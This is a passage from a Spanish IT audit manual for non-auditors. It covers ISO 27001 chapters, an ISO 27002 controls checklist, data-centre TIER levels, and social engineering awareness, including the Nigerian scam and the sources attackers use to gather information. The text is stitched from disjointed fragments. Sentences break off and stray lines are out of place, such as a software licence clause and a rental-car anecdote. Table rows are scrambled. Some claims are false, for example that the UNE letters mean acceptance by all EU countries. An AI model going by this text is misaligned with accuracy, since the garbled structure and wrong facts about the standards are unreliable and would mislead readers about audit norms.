y no supone aportación económica alguna, mientras los anteriores si suponen
aportación económica y por tanto sostén de los costes operacionales, de
funcionamiento de la empresa.
Si tenemos los costes por hora de parada, de cada una de las áreas afectadas
tendríamos una tabla como la siguiente:
Página 98 de 430
Manual de Auditoria para no Auditores
Posibles acciones
Es posible que las tres acciones se den bajo una misma empresa, dependiendo
de las áreas y de los tipos de servicios. El siguiente ejemplo es una definición de
la empresa española de seguros Mapfre y como evalúan los riesgos, así como
muestra los rangos y sus límites de tolerancia.
Página 99 de 430
Manual de Auditoria para no Auditores
Lo más importante es que una vez que hemos traducido a Tiempo y Costes, los
riesgos, hemos tomado consciencia de lo que nos puede ocurrir, sabemos cuáles
son los puntos más vulnerables para garantizar los tres atributos más
importantes de nuestro principal activo la información que son: la Integridad, la
Disponibilidad y la Confidencialidad de la misma.
Veamos que son cada uno de estos atributos, para comprender mejor el
concepto que hay tras el objetivo de la norma ISO 27001 Gestión de la Seguridad
de la Información, y luego veremos cómo los riesgos entiéndase vulnerabilidades
Software y sobre todo la Ingeniería Social puede hacer inservible toda la
información que nuestra empresa dispone sobre sí misma y sobre sus
proveedores y clientes a la vez.
Integridad de la Información Definición
Vigente 2017
Capítulo 8
Me imagino que Usted se estará preguntando a estas alturas del libro porque
unas veces las normas se llaman ISO otras veces se llaman ISO / IEC y otras
veces aparecen como ISO-UNE.
Si la norma aparece como ISO o ISO – UNE quiere decir que se trata de una
norma de Gestión sin componentes técnicos de ningún tipo, sin embargo, cuando
aparece como ISO / IEC quiere indicar que tiene componentes técnicos de algún
tipo. Las letras UNE significa que esta aceptada por todos los países de la Unión
Europea.
1.- Alcance
2.- Términos y Definiciones
3.- Referencias Normativas.
4.- Contexto de la Organización.
5.- Liderazgo.
6.- Planificación.
7.- Soporte.
8.- Operación.
9.- Evaluación del desempeño.
10.- Mejora
Las partes enmarcadas son comunes a cualquier norma ISO. En nuestro caso al
hablar de la ISO 27001 debemos tener presentes los siguientes datos sobre la
norma son:
Capítulo 9
Las actividades del grupo 6.2 son competición exclusiva del área TIC, así como
del área de asesoría legal y recursos humanos trabajando de forma conjunta con
el área de comunicaciones dentro del área TIC. Hay que señalar hay una
componente jurídica (contrato de trabajo y convenio de empresa) una
componente disciplinaria (uso adecuado y aceptado) de los recursos
tecnológicos y esto es competencia de recursos humanos y por último el control
de acceso tanto en modo local y como en modo remotos de los recursos
humanos con relación a ciertos trabajos.
Capítulo 10
Recursos Humanos.
Dominio 7
Los controles grupo 7.2 y en especial el 7.2.3 además de estar regulados por la
ley que protege el secreto de las comunicaciones en todas sus formas y
tecnologías, están regulados a su vez por los convenio sectoriales y
empresariales del ámbito del procedimiento laboral otra restricción adicional. El
control 7.2.3 y el 7.3.1 son controles que la mayoría de las organizaciones
desempeña de forma insatisfactoria, debido a las inexistentes comunicaciones
que existe entre Legal, Recursos Humanos, Seguridad Física y Control de
Accesos, pues es frecuente, que ex empleados, que han sido despedidos o que
han dejado la compañía sigan manteniendo sus cuentas de correo activas e
incluso sus accesos remotos, cosa que de haber una comunicación eficiente
entre las áreas señaladas no debería de ocurrir. De hecho, basta con realizar
una revisión rutinaria para comprobar que esto es práctica habitual cuando
debería ser un hecho aislado.
Capítulo 11
El grupo de controles del tercer bloque tiene mucho que ver con la seguridad
física y con la Ingeniería Social. También en este tercer bloque hay una
referencia a la ISO 14001 cuando hablamos de la eliminación de soportes de
almacenamiento, desde papel a todos los medios, tanto electromagnéticos como
ópticos, que deben ser destruidos, bajo un estricto control para evitar fugas de
información, de todo nivel y clase, que además también puede generar
incumplimientos respecto al reglamento de protección de datos de carácter
personal.
Capítulo12
El grupo 9 el control de
accesos como hablamos
cuando nos referimos al
dominio 7 Recursos Humanos
es uno de las más complejos
de implantar de forma
satisfactoria.
La política de control de
accesos implica tanto al
personal internos, como al
personal externo y las visitas.
Es importante tener presente que los controles dentro del bloque 9.2 y 9.4
además de aplicarse a los Sistemas Operativos tanto Clientes como Servidor
interactúan de una forma íntima con las Redes, por lo que cuando se realice la
Auditoria de Redes y de Sistemas Operativos se realizarán dos veces los mismos
controles, debiéndose obtener resultados idénticos en ambas ocasiones.
Capítulo 13 y 14
Capítulo 15
12.1.1 La documentación es
de suma importancia, que este
organizada, actualizada y
debidamente regulado su
acceso, consulta y
modificación.
12.3 Copias de Seguridad. Las copias de seguridad son relevantes por varias
razones, que vamos a recordar ahora y que siempre debemos tener presente y
en mente.
1.- Que estén gestionadas de forma correcta, esto es, están planificadas,
sus soportes debidamente controlados, se restauran de forma periódica
para comprobar su correcto funcionamiento, entonces podrán cumplir su
objetivo básico que es para garantizar, reducir al máximo el tiempo de
recuperación del sistema, limitado dicho tiempo, a los últimos datos, al
sistema antes de la siguiente copia de seguridad. Por ello es muy
importante planificar también el tipo de copia a automatizar por ejemplo
las totales y las diferenciales / incrementales.
También cuando afectan al software base utilizado por dicha aplicación, por
ejemplo, sólo debería estar permitida una diferencia, de una versión entre la que
se utiliza para explotación y la que se usa en desarrollo con el fin poder realizar
análisis de vulnerabilidades cuasi correlativos en el tiempo.
Se debe de disponer de copias de datos de prueba, a partir de los reales, que
cubran todo el espectro de excepciones que la aplicación debe gestionar,
además, de los datos generados para efectuar las pruebas. Los datos de prueba
cuando se extraigan de datos reales deben criptografiarse, para que no puedan
ser utilizados fuera del ámbito de la empresa, mediante aplicación de controles
criptográficos en cumplimiento del Reglamento Europeo de Protección de Datos.
Aunque las actividades de esta parte de la norma ISO-IEC 27001 están bajo un
estricto control legal, como son la ley del secreto de las Telecomunicaciones, la
LOPD sustituida en un futuro próximo por el RGEPD y por supuesto todo lo que
quepa en las leyes de procedimiento laboral, es normal y habitual verificar que
los trabajadores hacen correcto un uso de las tecnologías dispuestas por la
empresa a su servicio, cumpliendo las políticas establecidas y aceptadas para
poder realizar el desempeño encomendado vía relación contractual (contrato de
trabajo), aunque la mayoría de la veces no se refleje en los contratos, este es
un derecho tácito, es decir, no declarado de manera formal y habitual, de la
empresa. Por tanto, todo el mundo es susceptible de ser monitorizado, tanto en
uso de la Internet como de la Intranet.
Además de los Servidores de Red y los Clientes conectados a ellos, hay otros
elementos que utilizan la gestión de eventos, para desarrollar sus funciones, por
ejemplo los Routers, los Switches de gama alta, los IPS / IDS, los sensores de
movimiento, etc… dado que las señales y sus significados nos permiten
establecer en muchos casos, relaciones de causa-efecto, es el trabajo que
efectúan los motores de correlación, que utilizan en las herramientas SIEM, que
tomando como base la frecuencia y al tipo de eventos de eventos que se
presentan o acumulan en un intervalo de tiempo dado, pueden establecer las
posibles causas de este efecto.
Está permitido utilizar, copiar, modificar y distribuir este software para cualquier
propósito y de forma gratuita.
La importancia de este protocolo deriva de sus usos militares y civiles, todos ellos
relacionados, con sistemas de posicionamiento y navegación, terrestre, marítima
y área.
12.6.1 Gestión de las vulnerabilidades técnicas. Insistimos una vez que tenemos
un inventario clasificado de las mismas, debemos observar cuantas de ellas
radican sobre grupos de aplicaciones a través de las redes internas y externas
de la empresa, garantizando que se han tomado, todas las medidas posibles
para su erradicación o su mitigación hasta un nivel de riesgo aceptable.
Capítulo 16
Debemos de tener presente que los IPS/IDS actúan como un segundo nivel de
filtrado del tráfico y pueden analizar no sólo las amenazas externas, sino también
las internas, por lo cual tendríamos todo el espectro cubierto, si bien es cierto
que el análisis de tráfico interno supone una sobrecarga de la red, por lo cual hay
que ser muy selectivo a la hora de fijar los criterios de qué tipo de tráfico se
analiza y cual no será objeto de análisis dentro de la intranet.
válido, para los accesos a las zonas que contienen los equipos de
soporte energético y climatización por razones obvias ya que también
forman parte de los componentes de la seguridad física. Verificar que
se han deshabilitado todos los puertos USB mediante la
correspondiente función BIOS.
Todos los elementos forman parte de los controles de Red y de los mecanismos
de control asociados a la red.
13.2 Intercambio de Información con partes externas. Lo primero hay que definir
qué se entiende por partes externas y son los Clientes y los Proveedores de
cualquier organización.
Capítulo 17
14 Adquisición, Desarrollo y
Mantenimiento de los Sistemas
de Información.
Entramos en un grupo de
controles que es interesante y
complejos de abordar, con
garantías de éxito, tanto por el
cliente como por auditor, debido
a la continua evolución que todas
las herramientas y lenguajes de
programación están sufriendo.
14.1.2 Esto es un recordatorio para que todos los accesos, se hagan siempre
bajo protocolos seguros, además de haber superado de forma satisfactoria los
controles propios de la auditoria de redes a través de todos los elementos de
seguridad, tanto para comunicaciones internas como externas vía red pública.
5. Todos los accesos que se hagan a los sistemas deben ser validados.
Integración Las pruebas de integración son pruebas funcionales entre dos o más
sistemas. El objetivo de las pruebas de integración es verificar el correcto ensamblaje entre
los distintos componentes una vez que han sido probados unitariamente con el fin de
comprobar que interactúan correctamente a través de sus interfaces, cubren la funcionalidad
establecida y se ajustan a los requisitos.
Existen más tipos de pruebas, pero dado que el objeto de este texto, no es hacer
un resumen de la ingeniería de software, basta con señalar que estos son los
tipos de pruebas más habituales a efectos de auditoria incluyendo las desarrollo
y bases de datos además de las de Red, y dado que las pruebas se han de
adecuar al entorno y sus herramientas de explotación de la información,
consideraremos un resumen valido para nuestros propósitos, el expuesto, ahora
bien quien desee profundizar más en los otros tipos de pruebas, sus objetivos y
finalidades puede dirigirse a la siguiente dirección web http://ing-
sw.blogspot.com.es/2005_04_01_archive.html
Capítulo 18
¿Lo que recibe vale lo que paga por ello? Dé respuesta a esta pregunta y
respáldela con hechos, estableciendo un sistema de supervisión de terceros
proveedores de servicios y sus respectivas entregas de servicio.
Capítulo 19
Las revisiones post-incidentes y los casos de estudio para incidentes serios, tales
como fraudes, ilustran los puntos débiles de control, identifican oportunidades de
mejora y conforman por sí mismos un mecanismo eficaz de concienciación en
seguridad.
Capítulo 20
Deberían llevarse a cabo las pruebas pertinentes (tales como pruebas sobre el
papel, simulacros, pruebas de failover, etc.) para (a) mantener los planes
actualizados, (b) aumentar la confianza de la dirección en los planes y (c)
familiarizar a los empleados relevantes con sus funciones y responsabilidades
bajo condiciones de desastre.
Es obvio que tanto el CSGSI como el SGA junto con los responsables de las
áreas afectadas deberán crear un comité mixto, reducido y localizado en todo
momento para todo lo relativo a la toma de decisiones.
Aquí es donde adquieren todo su sentido y valor económico y de ahorro de
tiempo tanto las copias de seguridad como los centros de respaldo sean o no
virtualizados.
En realidad, estamos no tratando sólo con la norma ISO 27001 sino con la 22301
y en el caso de un entorno industrial también tendríamos que operar de acuerdo
con las instrucciones derivadas de la 22320 que son las relativas a la gestión de
emergencia por parte de las autoridades competentes.
Métricas asociadas
Nomenclatura estándar.
Funcionamiento a prueba de fallos.
Aumento de la protección frente a agentes externos.
Fiabilidad a largo plazo, mayores capacidades de expansión y
escalabilidad.
El concepto de TIER
El nivel de fiabilidad de un centro de datos viene indicado por uno de los cuatro
niveles de fiabilidad llamados TIER, en función de su redundancia (anexo G). A
mayor número de TIER, mayor disponibilidad, y por tanto mayores costes de
construcción y mantenimiento.
Disponibilidad 99,982 %.
Interrupciones planificadas sin interrupción de funcionamiento, pero
posibilidad de problemas en las no previstas.
Múltiples accesos de energía y refrigeración, por un solo
encaminamiento activo. Incluye componentes redundantes (N+1).
Plazo de implementación: 15 a 20 meses.
Tiempo de inactividad anual: 1,6 horas.
99,995 % de disponibilidad.
Interrupciones planificadas sin interrupción de funcionamiento de los
datos críticos. Posibilidad de sostener un caso de improviso sin daños
críticos.
Múltiples pasos de corriente y rutas de enfriamiento. Incluye
componentes redundantes. Incluye componentes redundantes (2(N+1))-
2 UPS cada uno con redundancia (N+1).
Plazo de implementación: 15 a 20 meses.
Tiempo de inactividad anual: 0,4 horas.
No obstante, debemos de señalar, que este estándar, debe cumplirse por las
empresas que ofrecen servicios de hosting y las diversas derivaciones en forma
de servicios que las tecnologías CloudComputing han generado en los últimos
años y que anunciamos aquí por ser de interés con vistas a reducir a la mínima
expresión el riesgo en términos de negocio y operación. Tendencias Actuales.
El que existan estas tecnologías no supone, que se puedan omitir estos controles
anteriores pues las normas, que regulan estas nuevas tecnologías, están en fase
de desarrollo, pues la tecnología CloudComputing es una tecnología emergente
y requerirá de tiempo para asentarse y estabilizarse.
Capítulo 20
Pues hasta ahora era un ámbito no regulado legalmente, sino el soporte de otros
ámbitos legales por ejemplo leyes relativas a la Propiedad Intelectual e Industrial,
la Protección de los datos de carácter personal, etc. Dado que las tecnologías
de la información y las telecomunicaciones no eran consideradas fuente de
Derecho, sin embargo y debido al peso y a la influencia social, que ejercen en la
sociedad actual, el Derecho se ha visto obligado no sólo a incluirlas con carta de
naturaleza propia, sino que, además muchos ámbitos del Derecho se redefinen
ahora partiendo de las mismas.
Los requisitos legales específicos deberían ser advertidos por los asesores
legales de la organización o por profesionales adecuadamente cualificados.
Los requisitos que marca la legislación cambian de un país a otro y pueden variar
para la información que se genera en un país y se transmite a otro país distinto
(por ej., flujos de datos entre fronteras).
Aspectos positivos que aporta la norma 19600 a las organizaciones con respecto
a las obligaciones derivadas de cumplimientos normativos y legales.
Capítulo 21
ISO 27007
Rellenar el Dominio y los Controles que van a ser evaluados por parte del equipo
de Auditoria.
COLUMNAS
TABLA DE CONTROLES
N N N
1 2 3
TITULO ORG
TEC
N
LOG ☺ Comentarios
POLÍTICA DE
5 SEGURIDAD
POLÍTICA DE
SEGURIDAD DE LA
5 1 INFORMACIÓN
Documento de política de
5 1 1 seguridad de la información X
Revisión de la política de Acta revisión por la
5 1 2 seguridad de la información X dirección
ORGANIZACIÓN DE LA
SEGURIDAD DE LA
6 INFORMACIÓN
ORGANIZACIÓN
6 1 INTERNA
Comité de gestión de la
6 1 1 seguridad de la información X Actas de reuniones
Coordinación de la seguridad
6 1 2 de la información X Actas de reuniones
Asignación de
responsabilidades en X
6 1 3 seguridad de la información
Proceso de autorización de
recursos para la seguridad de X
6 1 4 la información
N N N
1 2 3
TITULO ORG
TEC
N
LOG ☺ Comentarios
6 2 TERCERAS PARTES
Identificación de riesgos
relacionados con terceras X
6 2 1 partes
Requisitos de seguridad en las
6 2 2 relaciones con clientes X
Requisitos de seguridad en los Comprobar algunas
6 2 3 contratos con terceros X cláusulas
7 GESTIÓN DE ACTIVOS
RESPONSABILIDAD DE
7 1 LOS ACTIVOS
7 2 1 Guías de clasificación X
Comprobar los
nombres y etiquetas:
directorios, ficheros,
informes impresos,
X media grabados (p.e:
CD. Cintas, discos...),
correos electrónicos y
Etiquetado y tratamiento de la ficheros
7 2 2 información intercambiados
SEGURIDAD LIGADA AL
8 PERSONAL
ANTES DE LA RELACIÓN
8 1 LABORAL
8 1 1 Funciones y responsabilidades X
N N N
1 2 3
TITULO ORG
TEC
N
LOG ☺ Comentarios
8 1 2 Credenciales X
Términos y condiciones del
8 1 3 empleo
DURANTE LA RELACIÓN
8 2 LABORAL
Responsabilidades de los
8 2 1 directores X
Preguntar a los
empleados si están
conscientes o
Concienciación, formación y X concienciados sobre
capacitación en seguridad de sus obligaciones en
8 2 2 la información seguridad
8 2 3 Proceso disciplinario X
FINAL O CAMBIO EN LA
8 3 RELACIÓN LABORAL
Responsabilidades al finalizar
8 3 1 la relación laboral X
9 SEGURIDAD FÍSICA
9 1 ÁREAS SEGURAS
9 1
Seguridad de oficinas,
3 despachos y salas X ☺
9 1
Protección contra amenazas
4 externas y ambientales X ☺
N N N
1 2 3
TITULO ORG
TEC
N
LOG ☺ Comentarios
9 1
Acceso público, zonas de
6 carga y descarga X ☺
SEGURIDAD DE LOS
9 2 EQUIPOS
9 2
Instalación y protección de los
1 equipos X X P ☺
9 2 2 Servicios de suministro X X P ☺
9 2
Seguridad en la reutilización o
6 eliminación de equipos X X P ☺
9 2 7 Sustracciones de equipos X
GESTIÓN DE
COMUNICACIONES Y
10 OPERACIONES
PROCEDIMIENTOS Y
RESPONSABILIDADES
10 1 DE OPERACIONES
Procedimientos de
10 1 1 operaciones documentados X
¿Siguen métodos ITIL
10 1 2 Gestión de los cambios X X R o ITSM?
10 1 3 Segregación de tareas X
N N N
1 2 3
TITULO ORG
TEC
N
LOG ☺ Comentarios
10 2 1 Niveles de servicio X
Monitorizar y revisar los Ver informes de niveles
10 2 2 niveles de servicio X X P de servicios
Gestión de cambios en los
10 2 3 niveles de servicio X
PLANIFICACIÓN Y
ACEPTACIÓN DE
10 3 SISTEMAS
10 3 1 Gestión de capacidades X X P
10 3 2 Aceptación de sistemas X
PROTECCIÓN CONTRA
CÓDIGO MALICIOSO Y
10 4 CÓDIGO MÓVIL
Muestreo sobre PCs,
Controles contra software X X R Servidores, Elementos
10 4 1 malicioso de Red
10 6 1 Controles de red X X P
Seguridad de los servicios de Niveles de servicios,
10 6 2 red X filtros y componentes
N N N
1 2 3
TITULO ORG
TEC
N
LOG ☺ Comentarios
de seguridad ( HW y/o
SW)
10 7 GESTIÓN DE SOPORTES
10 8 2 Acuerdos de intercambio X
Cifrado y protección
10 8 3 Soportes físicos en transito X X P física
Comprobar si algunos
mensajes son
X X P conformes con las
10 8 4 Correo electrónico políticas/norma
Sistemas de información de
10 8 5 productividad X
SERVICIOS DE
COMERCIO
10 9 ELECTRONICO
10 9 1 Comercio electrónico X X P
Comprobar:
X X R integridad,
10 9 2 Transacciones interactivas autorización de acceso
Información con acceso
10 9 3 publico X X P
N N N
1 2 3
TITULO ORG
TEC
N
LOG ☺ Comentarios
10 10 MONITORIZACIÓN
Ver un Log
informático o impreso
X X P (fechas y horas de los
10 10 1 Trazabilidad sucesos)
Monitorización del uso de los
10 10 2 sistemas X X P
10 10 3 Protección de la trazabilidad X X P
Trazabilidad de los
10 10 4 administradores y operadores X X P
Identificar y ver el
10 10 5 Registros de fallos X registro
Ver fechas y horas de
10 10 6 Sincronización de relojes X P un mismo suceso
11 CONTROL DE ACCESO
REQUISITO
EMPRESARIAL PARA EL
11 1 CONTROL ACCESO
N N N
1 2 3
TITULO ORG
TEC
N
LOG ☺ Comentarios
N N N
1 2 3
TITULO ORG
TEC
N
LOG ☺ Comentarios
Routers/Switches:
Roles, ACL’s, Política
de control de accesos
CONTROL DE ACCESO
AL SISTEMA
11 5 OPERATIVO
11 5 5 Desconexión automática X X P ☺
11 5
Limitación de las ventanas de
6 conexión X X P ☺
CONTROL DE ACCESO A
APLICACIONES E
11 6 INFORMACIÓN
Restricción de acceso a la
11 6 1 información X X R
Aislamiento de sistemas
11 6 2 sensibles X X P
INFORMÁTICA MÓVIL Y
11 7 TELETRABAJO
Informática móvil y
11 7 1 telecomunicaciones X X P
11 7 2 Teletrabajo X X P
ADQUISICIÓN,
DESARROLLO Y
MANTENIMIENTO DE
SISTEMAS DE
12 INFORMACIÓN
N N N
1 2 3
TITULO ORG
TEC
N
LOG ☺ Comentarios
REQUISITOS DE
SEGURIDAD EN
SISTEMAS DE
12 1 INFORMACIÓN
Identificar si existen
requerimientos
X escritos, por parte
Análisis y especificaciones de técnica o por parte de
12 1 1 requisitos de seguridad los usuarios
PROCESO CORRECTO
12 2 2 EN LAS APLICACIONES
Guías de desarrollo y
SW de pruebas:
X X R comprobar en un
muestreo de
aplicaciones que los
Validación de los datos de requisitos (de los
12 2 1 entrada usuarios) se cumplen
Guías de desarrollo y
SW de pruebas:
comprobar en un
X X P muestreo de
aplicaciones que los
requisitos (de los
12 2 2 Control del proceso interno usuarios) se cumplen
N N N
1 2 3
TITULO ORG
TEC
N
LOG ☺ Comentarios
usuarios, sistemas y
desarrollo
12 3 2 Gestión de claves X X R
SEGURIDAD DE LOS
FICHEROS DE LOS
12 4 SISTEMAS
Control del software en
12 4 1 explotación X X P
12 4
Protección de los datos de
2 prueba X X P ☺
Control de acceso a las
12 4 3 fuentes X X R
SEGURIDAD EN LOS
PROCESOS DE
DESARROLLO Y
12 5 SOPORTE
Procedimiento de control de
12 5 1 cambios X
Revisión técnica de las
aplicaciones después de
cambios en los sistemas X
12 5 2 operativos
Restricción en los cambios a
12 5 3 los paquetes de software X
Ver si hay servicios
12 5 4 Fuga de información X X P desconocidos activados
Desarrollo externalizado de
12 5 5 software X
GESTIÓN DE
VULNERABILIDADES
12 6 TÉCNICAS
Ver si, y como, se
implantan las mejoras
Control de vulnerabilidades X X R o correcciones de SW
12 6 1 técnicas (Parches)
N N N
1 2 3
TITULO ORG
TEC
N
LOG ☺ Comentarios
GESTIÓN DE
INCIDENCIAS DE
SEGURIDAD DE LA
13 INFORMACIÓN
REPORTE DE
INCIDENCIAS Y
13 1 DEBILIDADES
Reporte de eventos de
13 1 1 seguridad de información X
Reporte de debilidades de
13 1 2 seguridad X
GESTIÓN DE
INCIDENCIAS DE
13 2 SEGURIDAD Y MEJORA
Responsabilidades y
13 2 1 procedimientos X
Aprendiendo de las
13 2 2 incidencias X
13 2 3 Recogida de evidencias X
GESTIÓN DE LA
CONTINUIDAD DE
14 NEGOCIO
ASPECTOS DE
SEGURIDAD DE LA
INFORMACIÓN EN LA
CONTINUIDAD DE
14 1 NEGOCIO
Incluir la seguridad de la
información en el proceso de
gestión de la continuidad de X
14 1 1 negocio
Continuidad de negocio y
14 1 2 análisis de riesgos X
☺
Recuperación de
14 1 3
Desarrollo e implantación de X X P Desastre: Comprobar
planes de continuidad que el sitio alternativo
N N N
1 2 3
TITULO ORG
TEC
N
LOG ☺ Comentarios
15 CONFORMIDAD
CONFORMIDAD CON
15 1 REQUISITOS LEGALES
Identificación de la
15 1 1 legislación aplicable X
Derechos de propiedad
15 1 2 intelectual X
Salvaguarda de los registros
15 1 3 de la Organización X
Comprobar siempre, si
Protección de datos de X X O aplica, las obligaciones
15 1 4 carácter personal y privacidad con la LOPD
Prevención del mal uso de los
15 1 5 recursos informáticos X X P
Regulación de controles
15 1 6 criptográficos X
CONFORMIDAD CON
LAS DIRECTRICES DE
SEGURIDAD Y
15 2 REVISIONES TÉCNICAS
Conformidad con las políticas
15 2 1 de seguridad y estándares X
Comprobar el proceso
Comprobación de la X X y el seguimiento de las
15 2 2 conformidad técnica revisiones y auditorias
N N N
1 2 3
TITULO ORG
TEC
N
LOG ☺ Comentarios
CONSIDERACIONES
SOBRE EL AUDIT DE
SISTEMAS DE
15 3 INFORMACIÓN
Controles de audit de los
15 3 1 sistemas de información X
Protección de las herramientas
de audit de sistemas de X X P
15 3 2 información
Nunca hay que olvidar que cada cambio, cada actualización, cada modificación
de un código fuente, puede ocasionar variaciones positivas o negativas, en el
grado de securización vigente respecto a la versión anterior a su aplicación.
Declaración de aplicabilidad
La Declaración de aplicabilidad (o DdA) se redacta en base a los resultados del
tratamiento del riesgo; es un documento clave dentro del SGSI porque describe
no sólo qué controles del Anexo A son aplicables, sino también cómo se
implementarán y su estado actual. También debería considerar a la Declaración
Inventario de activos
Si no contaba con un inventario de este tipo antes del proyecto ISO 27001, la
mejor forma de hacerlo es directamente a partir del resultado de la evaluación
de riesgos ya que allí, de todos modos, se tienen que identificar todos los activos
y sus propietarios; entonces, simplemente puede copiar el resultado desde ese
instrumento.
Ciclo PDCA
Declaración de aplicabilidad.
Plan de tratamiento de riesgos.
Implementación de controles, documentación de políticas, procedimientos
e instrucciones de trabajo.
Definición de un método de medida de la eficacia de los controles y puesta
en marcha del mismo.
Formación y concienciación en lo relativo a seguridad de la información a
todo el personal.
Monitorización constante y registro de todas las incidencias.
Realización de auditorías internas.
Evaluación de riesgos periódica, revisión del nivel de riesgo residual, del
propio SGSI y de su alcance.
Mejora continua del SGSI. Como hemos visto, la norma ISO 27001 /
27002, no existe sola, convive con otras normas, que ayudan a
complementarla debido a que son normas especializadas, como por
ejemplo la ISO 20000 que está relacionada con toda la gestión operativa
del activo de la información. Aunque existe la norma, ISO y es certificable,
en el mundo real se ha adoptado una metodología que recoge las mejores
Capítulo 22
acciones que van desde un clic hasta atender un llamado telefónico y que
pueden derivar en la pérdida de información confidencial –personal o de la
empresa para la que el usuario trabaja- o, peor aún, en ponerla en manos de
personas maliciosas que buscan un rédito económico
En palabras de Kevin Mitnick, uno de los personajes más famosos del mundo
por delitos utilizando la Ingeniería Social como principal arma: "Usted puede
tener la mejor tecnología, firewalls, sistemas de detección de ataques,
dispositivos biométricos, etc. Lo único que se necesita es llamar a un
empleado desprevenido e ingresar sin más. Tienen todo en sus manos".
Así entonces, la Ingeniería Social, se centra en lograr la confianza de las
personas para luego engañarlas y manipularlas para el beneficio propio de quien
la implementa. La persuasión es una habilidad clave, ya que el secreto no
está en preguntar sino en la forma de realizar la pregunta.
No hay tecnología capaz de proteger contra la Ingeniería Social, como
tampoco hay usuarios ni expertos estén a salvo de esta forma de ataque. La
Ingeniería Social no pasa de moda, se perfecciona y sólo tiene la imaginación
como límite.
Por eso es importante que los usuarios se informen y eduquen. No todo aquello
que es recibido por Internet, desde cualquier medio, es fidedigno y, si no fue
solicitado, hay grandes posibilidades de que se trate de un malware o de un
intento de engaño.
Paradójica y lamentablemente la vanidad humana no permite ver que el
hombre es el elemento permanente y más débil en todo sistema. El usuario
es el objetivo y el medio para acceder al equipo, por lo que es sumamente
importante la capacitación para entender que todo usuario es un eslabón en la
cadena de la seguridad.
Fuente de este artículo.
Veamos algunos casos reales, como es aplicada la Ingeniería Social por sus
practicantes, para obtener interesantes beneficios económicos, que, aunque se
obtienen de forma ilegal, las víctimas, por los medios utilizados para su ejecución
y su desarrollo sufren las consecuencias, sin poder hacer nada por culpa de lo
que se conocen como vacíos legales, espacio que es aprovechados por estos
mal llamados ingenieros sociales.
1.- La Estafa Nigeriana
La Estafa Nigeriana, se lleva a cabo principalmente por correo electrónico no
solicitado. Adquiere su nombre del número de artículo del código penal de
Nigeria que viola, ya que buena parte de estas estafas provienen de ese país.
Si recibe algo de correo basura, con mucha seguridad ya debe haber recibido un
e-mail en inglés donde la explica que cierto funcionario que tiene acceso a unos
fondos acumulados pero que tiene problemas para efectuar él mismo la
operación, porque se trata de fondos secretos y como tiene que sacarlo de
Nigeria lo más rápido posible, entonces ofrece una compensación fuera de lo
común.
Los defraudadores profesionales ofrecen transferir millones de dólares a su
cuenta bancaria a cambio de un pequeño cargo. Si usted responde al
ofrecimiento inicial, es posible que reciba documentos que parecen ser oficiales.
Entonces, generalmente se le pide que provea los números de sus cuentas
bancarias y una serie de información de carácter privado para hacer efectivo el
traspaso.
Por increíble que parezca, en el año 2001 alrededor de 2.600 ciudadanos
fueron víctimas de esta estafa, con una pérdida de más de $300.000
dólares.
Esta historia personifica la relación que tiene la gente con su información valiosa.
Esta persona que arrendó el auto antes que yo y después, al tirar el cheque,
estaba convencido de que lo que había hecho desaparecer de forma segura.
Fuentes de Recopilación de Información.
1.- Recopilar Información de los sitios web.
Los sitios web personales o corporativos pueden proporcionar una gran cantidad
de información. Lo primero que hará normalmente un buen Ingeniero Social es
reunir todos los datos que pueda del sitio web de la persona o de la empresa.
Hay que dedicarle tiempo para no ofrecer información que puedas ser utilizada
contra nosotros mismo y para ello hay que dedicarle tiempo a verificar que no
ofrecemos más información de la estrictamente necesaria a cerca de:
- Lo que hacen.
- Los productos y servicios que ofrecen.
- Las localizaciones físicas.
- Las ofertas de puestos de trabajo
- Los números de contacto.
- Las biografías de los ejecutivos o del consejo administrativo.
- El foro de apoyo.
- La nomenclatura de los correos electrónicos.
- Palabras o frases especiales que pueden ayudar a determinar contraseñas.
2.- Servidores Públicos.
Los servidores públicos de una empresa también son buenas fuentes de la
información que sus sitios web no proporcionan.
Las direcciones IP pueden decir si los servidores están alojados localmente o
con un proveedor, con los registros de DNS puede determinar nombres y
funciones de servidores y direcciones IP.
3.- Redes Sociales.
Muchas empresas han empezado a interesarse por las redes sociales. Es
publicidad barata que llega a un gran número de clientes potenciales. También
es una nueva corriente de información de una empresa que puede proporcionar
algunos datos útiles.
Caso:
El presidente de Hewlett- Packard reveló más que su jerarquía laboral cuando
mencionó la iniciativa de almacenamiento en la web de la firma fabricante de
computadoras en su perfil de LinkedIn.
Algunos de los factores anteriores, tienen relación con otros campos del
conocimiento y de la conducta del ser humano, que no tienen ningún tipo de
relación con la tecnología de forma directa o indirecta tiene que ver con conflictos
de poder organizacional.
Por ello los profesionales de seguridad conscientes, que cada vez más, que
Internet representa y es el mercado y en consecuencia supone un incremento
continuo de la inseguridad, han llevado a organizaciones independientes de las
tradicionales como son la ISO / ANSI / NIST a desarrollar una metodología
específica, para intentar controlar y mitigar los riesgos que implica trabajar en un
entorno en constante evolución a velocidad del aire de un tornado. Por eso
OWASP es un gran proyecto y es el complemento perfecto de la normativa ISO
/ NIST y facilita todas las pautas y herramientas, para implantar un ciclo continuo
de auditoria. OWASP tiene un complemento perfecto que es una metodología
conocida bajo las siglas de OISSG que esta específicamente orientada a los
activos y su relación con los procesos de gestión basados en diversas
tecnologías a través de las diferentes tecnologías de red.
Capítulo 23.
Además de presentar las nuevas amenazas las mismas están clasificada por
frecuencia en la que parecen y algunas que incluso se fusionan, ya que suelen
aparecer juntas, en la mayoría de los casos.
Más ejemplos de OWASP no informa sobre que debe focalizar nuestra atención.
queda aún pendiente el tema de las aplicaciones construidas, sin este patrón
que requerirán en muchos casos, del uso de ingeniería inversa para detectar sus
vulnerabilidades, bien sea de producto, de código fuente, como las que
acabamos de exponer o bien una mezcla de ambas. También debemos prestar
atención a los siguientes aspectos, que se detallan en las sucesivas páginas.
Este problema siendo grave, no sólo afecta a los sistemas de gestión afecta
mucho y en gran manera a sistemas industriales, que forman parte de las
llamadas infraestructuras críticas, con lo que ello supone estamos hablando de
sistemas de energía (electricidad, petróleo, gas) sistemas de
telecomunicaciones, sistemas de control de plantas químicas y así hasta un total
de 11 sectores, denominados críticos por las implicaciones que para la población
general tienen, por ello se debe prestar especial atención a estos sistemas, que
se gestionan utilizando infraestructuras públicas (redes de comunicaciones)
modificando los parámetros originales de funcionamiento y utilizando protocolos
Este es un problema que no es sencillo resolver, puesto que en una gran medida
debemos establecer dos niveles de seguridad un nivel de seguridad a través del
Sistema Operativo de Red y un segundo nivel de seguridad ya en el Sistema
Operativo del Cliente / Dispositivo y el problema estriba en la correcta
